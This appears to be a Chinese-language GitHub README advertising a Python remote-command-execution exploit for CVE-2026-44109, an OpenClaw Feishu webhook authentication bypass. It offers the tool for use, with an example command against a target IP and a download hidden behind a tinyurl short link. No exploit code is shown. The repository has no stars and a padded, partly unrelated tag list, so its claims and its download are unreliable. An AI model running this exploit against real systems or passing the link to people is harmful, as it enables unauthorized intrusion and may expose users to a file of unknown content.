CryptReaper12/CVE-2026-44109
GitHub: CryptReaper12/CVE-2026-44109
针对 OpenClaw 飞书 webhook 身份验证绕过漏洞的 Python 漏洞利用脚本，可远程执行任意命令。
Stars: 0 | Forks: 0
# CVE-2026-44109
## 概述
OpenClaw 2026.4.15 之前的版本存在一个利用漏洞，允许未经身份验证的请求绕过飞书 webhook 和卡片操作验证。
## 详情
- **CVE ID**：[CVE-2026-44109](https://nvd.nist.gov/vuln/detail/CVE-2026-44109)
- **发现日期**：2026-05-06
- **发布日期**：2026-05-06
## 漏洞描述
此漏洞源于 encryptKey 配置不当和回调 token 为空，导致攻击者可以绕过签名验证和重放保护措施。因此，恶意行为者可以在系统内执行任意命令，造成严重的安全风险。
## 运行
运行此 exploit 需要 Python 3.9。
执行：
```
python exploit.py -h 10.10.10.10 -c 'uname -a'
```
### [在此下载](https://tinyurl.com/bp7p986b)
标签：Card-action验证, CISA项目, CSV导出, CVE-2026-44109, exploit, OpenClaw, PoC, Python3, RCE, Webhook验证绕过, 命令执行, 威胁模拟, 安全漏洞, 暴力破解, 未授权访问, 漏洞复现, 签名绕过, 网络安全, 逆向工具, 重放攻击, 隐私保护, 飞书Webhook